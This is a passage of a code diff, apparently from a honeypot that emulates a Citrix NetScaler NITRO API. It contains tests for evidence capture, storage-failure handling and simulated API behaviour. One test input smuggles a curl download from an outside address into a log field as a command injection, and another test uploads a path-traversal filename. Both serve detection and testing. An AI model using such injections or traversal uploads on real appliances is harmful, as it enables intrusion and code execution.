digest = hashlib.sha256(payload).hexdigest() digest = hashlib.sha256(payload).hexdigest()
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload') upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest)
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'} assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \ assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
@@ -62,6 +71,43 @@ def main():
kinds = {e['event'] for e in journal} kinds = {e['event'] for e in journal}
assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate', assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
'simulated_command', 'virtual_file_write'} <= kinds 'simulated_command', 'virtual_file_write'} <= kinds
# Interrupted writes never publish a partial file under a full-content hash.
with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')):
try:
evidence.save(b'interrupted-file')
raise AssertionError('storage failure was ignored')
except OSError:
pass
assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists()
assert not list(evidence.artifacts.glob('.capture-*'))
interrupted = pathlib.Path(workspace.name) / 'interrupted-journal'
interrupted.mkdir()
(interrupted / 'events.jsonl').write_bytes(b'{"interrupted":')
repaired = Evidence(interrupted)
try:
repaired.emit('after_restart')
lines = (interrupted / 'events.jsonl').read_bytes().splitlines()
assert lines[0] == b'{"interrupted":'
assert json.loads(lines[1])['event'] == 'after_restart'
finally:
repaired.close()
# A capture failure survives process restart and cannot be bypassed by systemd.
server.stop_capture(OSError('simulated quota exhaustion'))
assert (evidence.directory / 'STOP').exists()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5)
assert result.returncode == 78 and b'STOP latch' in result.stderr
full = pathlib.Path(workspace.name) / 'full-at-start'
store = Evidence(full, quota=1024*1024)
store.save(b'x'*(1024*1024))
store.close()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'],
capture_output=True, timeout=5)
assert result.returncode == 78 and (full / 'STOP').exists()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5)
assert result.returncode == 2
finally: finally:
server.shutdown() server.shutdown()
server.server_close() server.server_close()
+72
View File
@@ -0,0 +1,72 @@
"""Run: python3 test_nitro.py. Inert API behaviour and exact upload capture."""
import base64
import hashlib
import http.client
import json
import pathlib
import tempfile
import threading
import urllib.parse
from types import SimpleNamespace
from evidence import Evidence
from honeypot import Engine, Server
from nitro import CONFIG, RESOURCES, respond
def main():
state = SimpleNamespace()
auth = {}
def api(method, path, data=None, headers=None, source=state):
return respond(source, method, urllib.parse.urlsplit('/nitro/v1/'+path),
json.dumps(data).encode() if data is not None else b'', headers if headers is not None else auth)
assert api('GET', 'config/nsversion')[0] == 401
assert api('POST', 'config/login', {'login': {}})[0] == 400
status, login, extra = api('POST', 'config/login', {'login': {'username':'probe','password':'inert'}})
assert status == 201 and extra[0][0] == 'Set-Cookie'
auth = {'Cookie': 'NITRO_AUTH_TOKEN='+login['sessionid']}
assert api('GET', 'config/nsversion')[1]['nsversion'][0]['version'].startswith('NetScaler NS')
assert len(RESOURCES['config']) > 1400 and len(RESOURCES['stat']) > 150
for kind in RESOURCES:
for resource in RESOURCES[kind]:assert api('GET',kind+'/'+resource)[0] == 200, resource
for resource in CONFIG:assert resource in api('GET', 'config/'+resource)[1]
assert api('POST', 'config/lbvserver', {'lbvserver': {'name':'new','port':80}})[0] == 201
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 80
assert api('PUT', 'config/lbvserver', {'lbvserver': {'name':'new','port':8080}})[0] == 200
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 8080
assert api('POST', 'config/lbvserver?action=disable', {'lbvserver': {'name':'new'}})[0] == 200
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['state'] == 'DISABLED'
assert api('GET', 'config/lbvserver?filter=name:new&attrs=name')[1]['lbvserver'] == [{'name':'new'}]
assert api('GET', 'config/lbvserver?count=yes')[1]['lbvserver'] == [{'__count':2}]
assert api('GET', 'config/lbvserver_binding/lb_apps')[1]['lbvserver_binding'][0]['lbvserver_service_binding'][0]['servicename'] == 'svc_app_https'
assert api('GET', 'config/lbvserver?pagesize=1&pageno=2')[1]['lbvserver'][0]['name'] == 'new'
assert api('GET', 'config/lbvserver?pagesize=bad')[0] == 400
assert api('GET', 'config/nsip?'+ '&'.join('x=1' for _ in range(129)))[0] == 400
assert api('GET', 'config/not_a_resource')[0] == 404
assert api('DELETE', 'config/lbvserver/new')[0] == 200
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'] == []
assert api('GET', 'config/lbvserver', source=SimpleNamespace(), headers={'X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})[1]['lbvserver'] == CONFIG['lbvserver']
assert api('POST', 'config/lbvserver', {'lbvserver':{'name':'huge','blob':'x'*65520}})[0] in (400,503)
assert api('POST', 'config/logout', {'logout':{}})[0] == 201
assert api('GET', 'config/nsversion')[0] == 401
with tempfile.TemporaryDirectory() as directory:
evidence = Evidence(directory)
server = Server(('127.0.0.1',0), Engine(evidence.emit,save=evidence.save), serve_guest_files=False)
thread=threading.Thread(target=server.serve_forever,daemon=True);thread.start()
payload=b'\0inert-nitro-file\xff\n'
body=json.dumps({'systemfile':{'filename':'../../inert.bin','filelocation':'/tmp','filecontent':base64.b64encode(payload).decode()}}).encode()
try:
connection=http.client.HTTPConnection('127.0.0.1',server.server_port,timeout=3)
connection.request('POST','/nitro/v1/config/systemfile',body,{'Content-Type':'application/json','X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})
response=connection.getresponse();assert response.status==201;response.read();connection.close()
digest=hashlib.sha256(payload).hexdigest()
assert (pathlib.Path(directory)/'artifacts'/(digest+'.bin')).read_bytes()==payload
records=[json.loads(row) for row in (pathlib.Path(directory)/'events.jsonl').read_text().splitlines()]
upload=next(row for row in records if row['event']=='upload')
assert upload['filename']=='../../inert.bin' and upload['evidence']['sha256']==digest
assert any(row['event']=='request_body' and row['evidence']['sha256']==hashlib.sha256(body).hexdigest() for row in records)
finally:
server.shutdown();server.server_close();thread.join(3);evidence.close()
print('PASS: resource catalog, auth, CRUD, actions, queries, source isolation and byte-exact NITRO files')
if __name__=='__main__':main()